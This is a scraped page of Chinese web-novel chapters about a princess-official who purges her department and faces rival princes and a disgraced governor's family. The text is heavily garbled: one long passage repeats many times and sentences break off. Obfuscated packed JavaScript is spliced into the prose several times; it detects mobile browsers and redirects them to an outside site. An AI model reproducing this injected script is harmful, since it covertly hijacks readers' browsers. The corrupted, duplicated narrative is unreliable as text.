云筝神色淡淡的道,“皇上给了我任免之权,谁若不满,尽可以去皇宫外跪求。” “不过,钱家刚刚被贬,皇上余怒未消,谁想去触霉头,尽管去。” 谁敢去?大家不约而同的低头。 郑大人嘴里发苦,身为主官,却被云筝压制住了。 一名低阶官员见状,大声嚷嚷,“罢免,也需要一个理由吧。” 云筝瞥了一眼,这是郑大人的亲信。 “不听我的话,阳奉阴违,背后背刺我,这些都将是罢免的理由,你们都记下了。” 她这是要拿他们开刀?众人面面相觑,慌的要命。 云筝这才不慌不忙的取出圣旨,“圣旨到,跪。” 开始,动真格了! 品绯袍,问题是,广储司郎中是五品,主官才是四品。 穿错了?怎么可能?官服又不是商品,可以随意买卖。 云筝越过人群,走到最高的台阶,目光扫视众人,众人齐刷刷的行礼。 “见过郡主。” 云筝居高临下的看着他们,“以后叫我小云大人,人都来齐了?” 沉默,还是沉默,没人站出来回话。 显然,这些人是沉默的**,不满云筝的空降。 云筝的眼睛微眯,目光锁定最前面的郑大人。 “郑大人,人都来齐了吗?” 郑大人沉默不语,四目相对,火花四溅,似是激烈的交战,谁都没有退开。 云筝眼神清冷的可怕,气场强大。 最后,郑大人率先转头,扫了一圈,“有几个没到,是银库的……” 他念了几个人名,各库司库都来了,一个没少,但,他们下面的人没来。 云筝微颌首,看向一边的孙守信。 “没通知到?” 孙守信也身着官服,心情非常激动,一眨眼他就成了六品官员,开心! 全靠郡主带飞!感恩! “都通知了,应该是不想来。” 云筝点了点头,“行,那就永远不要来了,免去这几个人的官职。” “是。” 人群一阵骚动,郑大人深吸一口气,“郡主,您有什么权利免去内务府官员官职?” 云筝神色淡淡的道,“皇上给了我任免之权,谁若不满,尽可以去皇宫外跪求。” “不过,钱家刚刚被贬,皇上余怒未消,谁想去触霉头,尽管去。” 谁敢去?大家不约而同的低头。 郑大人嘴里发苦,身为主官,却被云筝压制住了。 一名低阶官员见状,大声嚷嚷,“罢免,也需要一个理由吧。” 云筝瞥了一眼,这是郑大人的亲信。 “不听我的话,阳奉阴违,背后背刺我,这些都将是罢免的理由,你们都记下了。” 她这是要拿他们开刀?众人面面相觑,慌的要命。 云筝这才不慌不忙的取出圣旨,“圣旨到,跪。” 开始,动真格了! 第188章 新官上任三把火,烧! 等所有人都跪了下来,云筝这才大声颁旨。 “奉天承运,皇帝诏曰,锦云郡主聪慧明达,素有才干,特令,出任内务府广储司主官一职,允许独立的**之权,便宜行事,钦此。” 全场一片哗然,前几日还是广储司郎中,如今一下子成了主官,这升迁速度快的可怕。 简在帝心啊。 最可怕的是,她还拥有特权,可以随意任免广储司的官吏,三百多人的命运都掌握在她手里。 云筝收起圣旨,笑吟吟的说道,“郑大人,抱歉了,你这位置归我了。” 郑大人面无人色,猜到是一回事,但亲耳听到,又是一回事。 他的心在滴血,奋斗了几十年的心血全毁在云筝手里,岂能不恨? “那我调去哪里?” 云筝漫不经心的说道,“这不归我管,你去问张总管呗。” 郑大人气的扭头而去,他的几个亲信迟疑不定,怎么办? 追?还是不追? 这杀鸡儆猴让众人都安分了下来,连主官都被她搞走了,更何况他们这些无名小卒。 云筝的目光落在另一个官员身上,“黄大人。” 银库司库黄大人一听这声音,后背升起一丝寒意。 轮到他了吗? 他立马认怂,扑通一声跪下,“还请郡主给一条生路。” 是个识时务的,云筝挑了挑眉,“你没有得罪过我,我不好强行抢走你的位置,所以,跟皇上说了一声,调你去江南当知州。” 司库是六品官员,知州是五品官员,算是升迁了。 黄大人怔住了,没想到她还挺讲道理,跟传言中的不一样。“多谢郡主。” 云筝淡淡的道,“不必谢我,这是皇上的意思,切记,不切忘了圣恩,皇上对你是有期待的。” “黄大人,你的机会来了,若能牢牢抓住,就能青云直上,成为朝中高官。” 四品是一个坎,过了就是进入权力中心的高官,以内务府的升迁速度,他这辈子都不可能升到四品。 黄大人浑身一震,眼睛刷的亮了,“还请小云大人明言。” 云筝压低声音说道,“盯着钱维的一举一动,一有风吹草动就上报。” 黄大人恍然大悟,这是将他安插在江南当眼线! 这个可以! “是,谢大人提拔。 云筝大刀阔斧,将人事调整了一波,在关键位置换上自己的人。 她带来了云家最能干的一批人,统统换上,这是她的嫡系。 孙守信取代了黄大人的位置,成了银库司库,六品官员。 她让那些好高骛远,尸位素餐的官员统统下马,从底层提拔了一批有真材实料又踏实肯干的人。 那些不会拍马屁,只知道干活的官吏都惊呆了,不禁热泪盈眶,居然还有被重用的一日。 汪大顺就是其中之一,他素有才干,但得罪了上司,被打压了十几年,一直郁郁不得志。 没曾想,锦云郡主一来,他的好日子就来了,居然让他主管瓷库,成了一库之主,连升三级。 什么是知遇之恩?这就是了! 他要为锦云……不对,是小云大人鞠躬尽瘁,死而后已。 顶头上司是男是女重要吗?一点都不重要! 能让自己的才华得以施展,能让他升官,那就是好上司。 新官上任三把火,第一把火就这么轰轰烈烈的烧起来了。 广储司的风气为之一清。 有人欢喜,有人愁,被清退的那批人很不甘心,上下串连告御状,还请御史上折**。 但,都没用。 上次的国子监事件,掀起了一波腥风血雨,抓的抓,杀的杀。 连首辅都被病退,谁敢在这风口浪尖对着干? 御史们心有余悸,**内容也是不痛不痒,走个过场。 反正,内务府是皇上的一亩三分地,再怎么兴风作浪,也不会动摇朝堂格局半分。 云筝的第二把火就是改制,精简流程,改掉多余繁琐重复的步骤,简化合并某些岗位,建立反馈监督体制。 同时,她一手建立了内部晋升机制,不会埋没人才,也让中底层看到了希望。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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小李子的表情很古怪,似是羡慕,又似嫉妒。 “她自掏腰包,拿十万两银子出来建了一个小金库,凡是广储司官吏,做出成绩,就能拿到一笔可观的奖励。” “逢年过节都有一笔津贴。” 他越说越激动,手舞足蹈,羡慕之情溢于言表。 “最关键的是,若广储司的官吏生重病,可以免费报销。” “在任上遇难,他的家眷每月有十两抚恤金,直到儿女成家,女眷去世为止,据说这一套是云家商号照搬过来的。” 十两银子够一家五口过的很好了。 既解决了官吏们的后顾之忧,又凝聚了广储司的凝聚力。 张总管目瞪口呆,这招一出,再无敌手。 这一笔钱是云筝自己出的,官府就没办法管理和监督,她说什么就是什么。 谁要是敢伤害云筝,或者调离云筝,广储司上下都会跟你拼命。 从此之后,广储司彻底成了云筝的囊中物,说一不二。 属下们惊呆了,不敢相信自己的耳朵,“她怎么舍得拿出这么大一笔钱?十万两啊。” 一名属下酸溜溜的说道,“对她来说,这不算什么吧,有钱就是好啊。” “有钱和舍得拿钱出来,这是两回事。” 有人跃跃欲试,“不知广储司还招不招人,我想去!” “我也想去!” 张总管闭了闭眼,掩去复杂之色,以后啊,这队伍不好带了。 他不禁喃喃自语,“怎么舍得呢?” 这也是众人想知道的,十万两银子啊,不是十两。 云展鹏问她时,云筝嘴轻轻上扬,“不是从自己口袋掏出的,当然不心疼。” 有冤大头送上门啊。 原来的永宁公主府门口,一辆辆马车驶过来,将门口挤的水泄不通。 今日是永宁剃度落发的日子,皇上亲自下令,让宗室勋贵和三品以上官员携眷观礼。 本来是要在清凉庵举办仪式,但地方实在太小,塞不下这么多人,索性就在永宁公主府办。 办完后,永宁被送去庵堂,这府邸直接充公。 正房 ,永宁长发披肩,呆呆地看着镜中的自己,一个月前还是乌黑的头发,如今已经是半黑半白。 谁都不知道,这些日子她的内心经历了多大的煎熬。 纪语儿拿着玉梳替她梳发,眼睛都哭红了,“皇上怎么能这么对您?你们是亲姐弟,您曾经帮过他啊,怎么一点都不念旧情?” 他们已经沦落到这种地步,皇上还不肯放过他们,非押着母亲剃度,全然不念亲情。 永宁眼神暗淡,“最无情帝王家,帝王没有心。” 跟帝王谈感情,那才是笑话。 只是,她没想到皇上会做到这一步,太狠了。 她只是想缩在府中,不想当尼姑而已,至于这么逼她吗? 纪语儿眼泪哗啦啦的往下流,“都怪云筝,她把我们害惨了,我和哥哥处处被人嫌弃,往日的好友都**了,小姑……逃出去,生死不知。” 纪语儿本是高高在上的天之骄女,被人捧着宠着爱慕着,求娶的人家络绎不绝。 可一出事,这些人家都如躲瘟疫似的躲起来,避而不见。 第一次尝到了人情冷暖,让他们大受打击。 而,他们兄妹的婚事没有更好的选择,只能亲上加亲。 她嫁的是表哥,平庸不起眼,但胜在老实。 这在以前,她都不会多看一眼。 婚礼简陋,婚后也不幸福,事事不顺,让她满脸戾气。 “我绝不会放过她的。” 恨意如烈焰,日夜灼烧着她,她不敢恨皇上,只能将怨恨都记在云筝头上。 怪她不该出现,毁了他们的荣华富贵。 怪她没有乖乖被算计,终酿成大祸。 永宁拍拍她的手,眼中闪过一丝浓烈的恨意,“你不要插手,好好过你小日子,别脏了你们的手。” 她再差也就这样了,圈禁一辈子当个尼姑,没有什么可失去的。 反正,皇上太要面子,不会留下残**足的名声。 那就在她圈禁之前,将罪魁祸首给毁了!狠狠出一口恶气! 她眼神阴冷的可怕,“云筝,你将我害成这样,你也别想好过。” 当然,这也是投名状! 花园里,四位皇子和皇妃都来了,大家围着他们攀 谈,热闹的不得了。 三皇子和四皇子刚成亲,开府另居,投奔者无数,风头之劲让人侧目。 大家不提国事,只谈风月。 就在此时,纪家大少不知从哪里冒出来,往四皇子面前一跪。 “四皇子,您帮我娘求求情吧,我娘生来就是公主,金尊玉贵的长大,她哪受得了庵堂的清苦?” “我和整个纪家愿意为您出生入死,只求您开恩。” 宗室勋贵们齐刷刷的看着他们,四皇子眉头微蹙。 父皇独断专行,容不得逆言。 但,直接拒绝显得不近人情,让宗室和勋贵们怎么看他? 他还想这些势力招揽到麾下呢。 他权衡利弊半晌,“父皇金口玉言,绝无更改的可能,不过,我会让清凉庵的住持照顾姑姑,你们平时也经常送些东西进去,不会让她受苦的。” 纪大少眼珠一转,“那好歹送些下人进去侍候,再将母亲常用的物件都带进去,将清凉庵好好修缮一下。” 四皇子很为难,“这……” 虽然没有明确规定,但,以皇上的态度,是要让永宁苦修啊。 难道,他还能跟父皇对着干? 一时之间,他左右为难,视线扫向看热闹的三皇子。 “三皇兄,您看呢?您是兄长,我听您的。” 三皇子无语了,平时怎么没见你这么听话?有事时就甩锅。 他也不傻,立马说道,“一切听父皇的。” 四皇子眼神一闪,“三皇兄,姑姑怎么说也是皇室中人,若是过的太惨,恐怕会被非议,对父皇的清名不好,不如,您劝劝父皇?” 三皇子才不想掺和进去,“我不去,你想去就去,别拿我说事。” 就在此时,通禀声响起,“锦云郡主驾到。” 身着绯色官服的云筝在众人的簇拥下走过来,神采飞扬,意气风发,美的耀眼夺目。 众人看着这样的云筝,神色复杂到了极点。 纪大少眼中闪过一丝异光,她,总算是来了! 这好戏,就要上演了! 谈,热闹的不得了。 三皇子和四皇子刚成亲,开府另居,投奔者无数,风头之劲让人侧目。 大家不提国事,只谈风月。 就在此时,纪家大少不知从哪里冒出来,往四皇子面前一跪。 “四皇子,您帮我娘求求情吧,我娘生来就是公主,金尊玉贵的长大,她哪受得了庵堂的清苦?” “我和整个纪家愿意为您出生入死,只求您开恩。” 宗室勋贵们齐刷刷的看着他们,四皇子眉头微蹙。 父皇独断专行,容不得逆言。 但,直接拒绝显得不近人情,让宗室和勋贵们怎么看他? 他还想这些势力招揽到麾下呢。 他权衡利弊半晌,“父皇金口玉言,绝无更改的可能,不过,我会让清凉庵的住持照顾姑姑,你们平时也经常送些东西进去,不会让她受苦的。” 纪大少眼珠一转,“那好歹送些下人进去侍候,再将母亲常用的物件都带进去,将清凉庵好好修缮一下。” 四皇子很为难,“这……” 虽然没有明确规定,但,以皇上的态度,是要让永宁苦修啊。 难道,他还能跟父皇对着干? 一时之间,他左右为难,视线扫向看热闹的三皇子。 “三皇兄,您看呢?您是兄长,我听您的。” 三皇子无语了,平时怎么没见你这么听话?有事时就甩锅。 他也不傻,立马说道,“一切听父皇的。” 四皇子眼神一闪,“三皇兄,姑姑怎么说也是皇室中人,若是过的太惨,恐怕会被非议,对父皇的清名不好,不如,您劝劝父皇?” 三皇子才不想掺和进去,“我不去,你想去就去,别拿我说事。” 就在此时,通禀声响起,“锦云郡主驾到。” 身着绯色官服的云筝在众人的簇拥下走过来,神采飞扬,意气风发,美的耀眼夺目。 众人看着这样的云筝,神色复杂到了极点。 纪大少眼中闪过一丝异光,她,总算是来了! 这好戏,就要上演了! 谈,热闹的不得了。 三皇子和四皇子刚成亲,开府另居,投奔者无数,风头之劲让人侧目。 大家不提国事,只谈风月。 就在此时,纪家大少不知从哪里冒出来,往四皇子面前一跪。 “四皇子,您帮我娘求求情吧,我娘生来就是公主,金尊玉贵的长大,她哪受得了庵堂的清苦?” “我和整个纪家愿意为您出生入死,只求您开恩。” 宗室勋贵们齐刷刷的看着他们,四皇子眉头微蹙。 父皇独断专行,容不得逆言。 但,直接拒绝显得不近人情,让宗室和勋贵们怎么看他? 他还想这些势力招揽到麾下呢。 他权衡利弊半晌,“父皇金口玉言,绝无更改的可能,不过,我会让清凉庵的住持照顾姑姑,你们平时也经常送些东西进去,不会让她受苦的。” 纪大少眼珠一转,“那好歹送些下人进去侍候,再将母亲常用的物件都带进去,将清凉庵好好修缮一下。” 四皇子很为难,“这……” 虽然没有明确规定,但,以皇上的态度,是要让永宁苦修啊。 难道,他还能跟父皇对着干? 一时之间,他左右为难,视线扫向看热闹的三皇子。 “三皇兄,您看呢?您是兄长,我听您的。” 三皇子无语了,平时怎么没见你这么听话?有事时就甩锅。 他也不傻,立马说道,“一切听父皇的。” 四皇子眼神一闪,“三皇兄,姑姑怎么说也是皇室中人,若是过的太惨,恐怕会被非议,对父皇的清名不好,不如,您劝劝父皇?” 三皇子才不想掺和进去,“我不去,你想去就去,别拿我说事。” 就在此时,通禀声响起,“锦云郡主驾到。” 身着绯色官服的云筝在众人的簇拥下走过来,神采飞扬,意气风发,美的耀眼夺目。 众人看着这样的云筝,神色复杂到了极点。 纪大少眼中闪过一丝异光,她,总算是来了! 这好戏,就要上演了! 谈,热闹的不得了。 三皇子和四皇子刚成亲,开府另居,投奔者无数,风头之劲让人侧目。 大家不提国事,只谈风月。 就在此时,纪家大少不知从哪里冒出来,往四皇子面前一跪。 “四皇子,您帮我娘求求情吧,我娘生来就是公主,金尊玉贵的长大,她哪受得了庵堂的清苦?” “我和整个纪家愿意为您出生入死,只求您开恩。” 宗室勋贵们齐刷刷的看着他们,四皇子眉头微蹙。 父皇独断专行,容不得逆言。 但,直接拒绝显得不近人情,让宗室和勋贵们怎么看他? 他还想这些势力招揽到麾下呢。 他权衡利弊半晌,“父皇金口玉言,绝无更改的可能,不过,我会让清凉庵的住持照顾姑姑,你们平时也经常送些东西进去,不会让她受苦的。” 纪大少眼珠一转,“那好歹送些下人进去侍候,再将母亲常用的物件都带进去,将清凉庵好好修缮一下。” 四皇子很为难,“这……” 虽然没有明确规定,但,以皇上的态度,是要让永宁苦修啊。 难道,他还能跟父皇对着干? 一时之间,他左右为难,视线扫向看热闹的三皇子。 “三皇兄,您看呢?您是兄长,我听您的。” 三皇子无语了,平时怎么没见你这么听话?有事时就甩锅。 他也不傻,立马说道,“一切听父皇的。” 四皇子眼神一闪,“三皇兄,姑姑怎么说也是皇室中人,若是过的太惨,恐怕会被非议,对父皇的清名不好,不如,您劝劝父皇?” 三皇子才不想掺和进去,“我不去,你想去就去,别拿我说事。” 就在此时,通禀声响起,“锦云郡主驾到。” 身着绯色官服的云筝在众人的簇拥下走过来,神采飞扬,意气风发,美的耀眼夺目。 众人看着这样的云筝,神色复杂到了极点。 纪大少眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16031081|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中闪过一丝异光,她,总算是来了! 这好戏,就要上演了! 谈,热闹的不得了。 三皇子和四皇子刚成亲,开府另居,投奔者无数,风头之劲让人侧目。 大家不提国事,只谈风月。 就在此时,纪家大少不知从哪里冒出来,往四皇子面前一跪。 “四皇子,您帮我娘求求情吧,我娘生来就是公主,金尊玉贵的长大,她哪受得了庵堂的清苦?” “我和整个纪家愿意为您出生入死,只求您开恩。” 宗室勋贵们齐刷刷的看着他们,四皇子眉头微蹙。 父皇独断专行,容不得逆言。 但,直接拒绝显得不近人情,让宗室和勋贵们怎么看他? 他还想这些势力招揽到麾下呢。 他权衡利弊半晌,“父皇金口玉言,绝无更改的可能,不过,我会让清凉庵的住持照顾姑姑,你们平时也经常送些东西进去,不会让她受苦的。” 纪大少眼珠一转,“那好歹送些下人进去侍候,再将母亲常用的物件都带进去,将清凉庵好好修缮一下。” 四皇子很为难,“这……” 虽然没有明确规定,但,以皇上的态度,是要让永宁苦修啊。 难道,他还能跟父皇对着干? 一时之间,他左右为难,视线扫向看热闹的三皇子。 “三皇兄,您看呢?您是兄长,我听您的。” 三皇子无语了,平时怎么没见你这么听话?有事时就甩锅。 他也不傻,立马说道,“一切听父皇的。” 四皇子眼神一闪,“三皇兄,姑姑怎么说也是皇室中人,若是过的太惨,恐怕会被非议,对父皇的清名不好,不如,您劝劝父皇?” 三皇子才不想掺和进去,“我不去,你想去就去,别拿我说事。” 就在此时,通禀声响起,“锦云郡主驾到。” 身着绯色官服的云筝在众人的簇拥下走过来,神采飞扬,意气风发,美的耀眼夺目。 众人看着这样的云筝,神色复杂到了极点。 纪大少眼中闪过一丝异光,她,总算是来了! 这好戏,就要上演了! 谈,热闹的不得了。 三皇子和四皇子刚成亲,开府另居,投奔者无数,风头之劲让人侧目。 大家不提国事,只谈风月。 就在此时,纪家大少不知从哪里冒出来,往四皇子面前一跪。 “四皇子,您帮我娘求求情吧,我娘生来就是公主,金尊玉贵的长大,她哪受得了庵堂的清苦?” “我和整个纪家愿意为您出生入死,只求您开恩。” 宗室勋贵们齐刷刷的看着他们,四皇子眉头微蹙。 父皇独断专行,容不得逆言。 但,直接拒绝显得不近人情,让宗室和勋贵们怎么看他? 他还想这些势力招揽到麾下呢。 他权衡利弊半晌,“父皇金口玉言,绝无更改的可能,不过,我会让清凉庵的住持照顾姑姑,你们平时也经常送些东西进去,不会让她受苦的。” 纪大少眼珠一转,“那好歹送些下人进去侍候,再将母亲常用的物件都带进去,将清凉庵好好修缮一下。” 四皇子很为难,“这……” 虽然没有明确规定,但,以皇上的态度,是要让永宁苦修啊。 难道,他还能跟父皇对着干? 一时之间,他左右为难,视线扫向看热闹的三皇子。 “三皇兄,您看呢?您是兄长,我听您的。” 三皇子无语了,平时怎么没见你这么听话?有事时就甩锅。 他也不傻,立马说道,“一切听父皇的。” 四皇子眼神一闪,“三皇兄,姑姑怎么说也是皇室中人,若是过的太惨,恐怕会被非议,对父皇的清名不好,不如,您劝劝父皇?” 三皇子才不想掺和进去,“我不去,你想去就去,别拿我说事。” 就在此时,通禀声响起,“锦云郡主驾到。” 身着绯色官服的云筝在众人的簇拥下走过来,神采飞扬,意气风发,美的耀眼夺目。 众人看着这样的云筝,神色复杂到了极点。 纪大少眼中闪过一丝异光,她,总算是来了! 这好戏,就要上演了! 谈,热闹的不得了。 三皇子和四皇子刚成亲,开府另居,投奔者无数,风头之劲让人侧目。 大家不提国事,只谈风月。 就在此时,纪家大少不知从哪里冒出来,往四皇子面前一跪。 “四皇子,您帮我娘求求情吧,我娘生来就是公主,金尊玉贵的长大,她哪受得了庵堂的清苦?” “我和整个纪家愿意为您出生入死,只求您开恩。” 宗室勋贵们齐刷刷的看着他们,四皇子眉头微蹙。 父皇独断专行,容不得逆言。 但,直接拒绝显得不近人情,让宗室和勋贵们怎么看他? 他还想这些势力招揽到麾下呢。 他权衡利弊半晌,“父皇金口玉言,绝无更改的可能,不过,我会让清凉庵的住持照顾姑姑,你们平时也经常送些东西进去,不会让她受苦的。” 纪大少眼珠一转,“那好歹送些下人进去侍候,再将母亲常用的物件都带进去,将清凉庵好好修缮一下。” 四皇子很为难,“这……” 虽然没有明确规定,但,以皇上的态度,是要让永宁苦修啊。 难道,他还能跟父皇对着干? 一时之间,他左右为难,视线扫向看热闹的三皇子。 “三皇兄,您看呢?您是兄长,我听您的。” 三皇子无语了,平时怎么没见你这么听话?有事时就甩锅。 他也不傻,立马说道,“一切听父皇的。” 四皇子眼神一闪,“三皇兄,姑姑怎么说也是皇室中人,若是过的太惨,恐怕会被非议,对父皇的清名不好,不如,您劝劝父皇?” 三皇子才不想掺和进去,“我不去,你想去就去,别拿我说事。” 就在此时,通禀声响起,“锦云郡主驾到。” 身着绯色官服的云筝在众人的簇拥下走过来,神采飞扬,意气风发,美的耀眼夺目。 众人看着这样的云筝,神色复杂到了极点。 纪大少眼中闪过一丝异光,她,总算是来了! 这好戏,就要上演了! 第190章 打起来,快打起来,爱看! 众人看着这样的云筝,神色复杂到了极点。 长的特好看,会挣钱,又成了第一个女官,简在帝心,简直是人生赢家。 迎着众多异样的目光,云筝落落大方的见礼,举止从容优雅,居高不傲,处低不卑。 江城郡主一把拉住她的胳膊,羡慕的不行,女官啊,她真的做到了! “阿筝,你总算是来了,我一直在等你。” 云筝脸上的笑容多了一丝真切,“我给你带了礼物,你看喜欢吗?” 是一对绿宝石簪子,雍容华贵。 江城郡主的眼睛刷的亮了,“好漂亮啊,我好喜欢。” 四皇子冷冷的看着,忽然开口说道,“锦云郡主,你真是个大忙人,比我们这些皇室勋贵来的还晚,让我们等你。” “好大的架子啊。” 云筝不冷不热的回道,“时辰还没到吧,我没有社交的需求,也没有招揽人心的打算,我和您不一样。” 众人:…… 四皇子:……她点谁呢?! 他心中恼怒不已,“锦云郡主怎么还穿着官服?生怕别人不知道你是四品官员吗?” 云筝是从内务府赶过来的,没换衣服,闻言笑眯眯的点头,“对啊,为了让大家尽早适应,我就辛苦些吧。” “四皇子倒是无须吃这样的苦,毕竟,哪怕多嘴多舌,像个长舌妇,人人都知道你是皇子。” 众人望天望地,就是不敢看他们俩,生怕一对视就破功发笑。 打起来,快打起来,爱看! 四皇子:……混蛋,臭丫头! “你害的永宁姑姑沦落到这种地步,就一点都不心虚吗?” 云筝挑了挑眉,“四皇子是在为永宁抱不平?你这么公然跟皇上的旨意对着干,跟皇上唱反调,是想显摆自己?还是想踩着皇上要一个重情重义的好名声?” 这话直接拆穿了四皇子的小心思,他不禁恼羞成怒,“你胡说。” 云筝冷哼一声,“你倒是重情重义了,倒显出皇上薄情寡义,我真为皇上感到不值,供你锦衣玉食,让你养尊处优,却让你反过来狠狠踩一脚,坑爹货。” 四皇子急的直瞪眼,“我没有,你这是恶意揣度。” 云筝淡淡的道,“ 别把天下人当傻子,皇上更不傻,要不要一起去皇上面前分辩分辩?你敢吗?” 敢吗?不敢!四皇子被训的灰头土脸,全然没有了刚才的傲气。 有些宗室勋贵是第一次见到云筝,没来前对她的印象很差,但现在,有种微妙的代入感。 你们皇子倨傲的不可一世,目中无人,一副天大地大老子最大,尔等都是我的奴才,如今也撞上了铁板,嘻嘻,莫名的爽。 江城郡主嘴角上扬,赶紧低下头掩饰,四皇子想踩着云筝招揽人心,但云筝愿意当踏脚石吗? 纪大少不知从哪里冒出来,声泪俱下的哀求。 “锦云郡主,家母年纪大了,又养尊处优惯了,冷不防进了清凉庵,恐怕无法适应,与寿命有碍。还请念在上天有好生之德,帮着求求情,求皇上收回成命。” 云筝奇怪的反问,“我为什么要冒着惹怒皇上的风险帮你?” 她信奉,对敌人赶尽杀绝,绝不留后患。 纪大少眼神一闪,他以为女子心软,要面子,要好名声。 “您仁慈心善,是极好的人,纪府上下愿意为您效忠。” 这话有坑。 云筝挑了挑眉,这是将她架起来,还会引起朝野的警惕。 这是要集结自己的势力? “效忠?你脑子没病吧?这是皇上的天下,忠心只能给帝王,而不是某家某人。” “你们纪家想**,别把我拖下水。” 她不上套,还反将了一军,纪大少脸色大变,“没有,不是,别瞎说。” “我只是想求您发发善心,饶了我母亲吧,您说的话,皇上一定听。” 云筝可不是以德报怨的人,“你不忠不义啊。” “啥?” 云筝冷笑一声,“但凡有半点忠义,就不会提出为难皇上的请求,皇上金口玉言,说出来的话就是圣旨,君无戏言。” “圣旨一旦收回,那就表示皇上的话没用,百姓对皇权和皇上产生质疑,从而影响了皇上的权威。” 她义正言辞的喝斥,“身为臣子,为了一己之私,却让皇上的威信扫地,让朝廷毫无信誉可言,你这不忠不义的家伙,我唾弃你。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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就在此时,钱维夫妻走了进来,四周气氛一静,下意识的看向云筝。 听闻钱家跟锦云郡主你来我往,明枪暗箭斗得不可开交,快打出脑浆了。 这在公开场合遇见,是不是又要大打出手? “咦,钱大人夫妻怎么穿的这么……朴素?不知道的还以为钱家没钱了呢。 “开什么玩笑,谁家都可能没钱,就钱家不可能,江南总督啊,江南的财政和赋税尽掌控在自己手里。 “听说,江南不管是做生意的,还是当官的,都得给他上贡,否则寸步难行。 “他刮地皮刮的可狠了,江南人送他一个钱刮皮的外号。 “我去,还有这种说法?那他们今日穿的这么素,是表达对永宁长公主的同情和怜悯? “钱大人是皇上的心腹,深知皇上的心意,难道皇上……心生不忍了? 大家猜来猜去,好奇的不得了。 钱维没穿官服,而是常服,看着像土财主。 而,江淑蓉穿的是旧衣,只佩戴了一对珍珠耳环,头上只有一支珠钗,跟她平时珠翠环绕的奢侈模样,判若两人。 钱维见过诸位皇子和宗室勋贵,大家对他都很客气,尤其是四位皇子,对他颇为亲近。 江南总督可是钱袋子,都想招揽到自己麾下,要招揽人心,钱必不可少。 钱维心里跟明镜似的,人家是图他的钱和势力。 但,他不敢有什么想法,也不敢提前投靠皇子。 他是皇上一手捧起来的亲信,没有皇上,他什么都不是。 只有牢牢抱住皇上的大腿,一片忠心向着皇上,皇上就会保他。 只是……他在人群里找到了那个绯红的身影,云筝。 云筝似笑非笑的看着他,眉眼飞扬。 钱维的心一堵,哼,小人得志。 他深吸一口气,咬了咬牙,走到云筝面前,将一只锦盒双手呈上,“郡主,这些东西物归原主。 云筝打开一看,是十五座田庄,十八家店面的房契,地契。 这本是云家之物,云筝眼眶微热,心情激荡。 有生之年还能收回,好,真好,权势真好。 当初怎么**的送出去,如今就 怎么风光的收回来云家被践踏的尊严也在这一刻得到了修复。 “行我收下了。” 云筝收下后神色不变的看着钱维。 大家茫然的看着他们 钱维在心里骂娘这么多东西送上也不能让她的心肠变软不肯给他一个下台阶。 哪怕她说一句此事到此为止他就不用再丢脸了。 可现在他得当众赔礼道歉否则就是违抗圣意。 钱维又气又恼却碍于皇上的命令不敢掉头就走。 他内心涌起强烈的**“我……请大家为我做个见证。” 大家齐刷刷的睁大眼睛啥意思?见证什么? 钱维闭了闭眼将所有复杂的情绪压下去等再睁眼时已经恢复如常。 他面带笑容行了一个大礼“我江南总督钱维当众向锦云郡主赔礼道歉我错了请郡主原谅。” 他这辈子都没有这么丢脸过! 他的手递向江淑蓉江淑蓉抱着一个大红色的锦盒就是不肯松手心疼坏了。 钱维不耐烦的一把抢过来都做了那就做的漂漂亮亮挑不出一点毛病。 “这是二十万两银票是我钱家的赔礼请锦云郡主收下你我两家的恩怨就到此为止以后井水不犯河水。” 现场一片哗然嗡嗡声作响。 “我没听错吧?钱大人向郡主赔礼道歉?” “没错还送了二十万两银子当赔礼妈呀好大的手笔。” “钱大人吃错了药?还是疯了?居然当众道歉!” “恐怕是被郡主抓到把柄不得不低头吧。” “钱家居然向一个女子低头脸面都不要了哎可悲可叹。” 云筝笑眯眯的数钱一点都不在乎被人说贪财。 钱维皱了皱眉头当众数钱实在不体面。却全然没发现一边的江淑蓉神色紧张。 云筝数着数着发现少了。 “钱大人少了三万。” 一万一叠叠的整整齐齐一共十七叠。 钱维的脸涨的通红狠狠瞪着江淑蓉关键时刻掉链子丢人现眼。 “快拿出来。” 江淑蓉嘴唇微抿,紧紧捏着衣袖口,凭什么给? 这钱来的太艰难,把娘家都得罪**,她以后都回不了娘家。 还把家中的东西变卖一空,她都没有体面的衣服和首饰了,还欠了一屁股债。 “我没钱。” 知妻莫若夫,钱维还能不知道她的想法?他的心也在滴血,失钱事小,钱家的脸面被云筝踩在脚底下,这才是大事。 他一把拽住她的衣袖, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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云筝拿着银票的手顿住了,微微蹙眉,给?还是不给? 就在此时,忽生变故! 第192章 说,下了几次药? 一道黑影扑过去劈**桌上的银票。 众人猝不及防来不及反应。 但紫烟的反应极快一脚将人踢开。 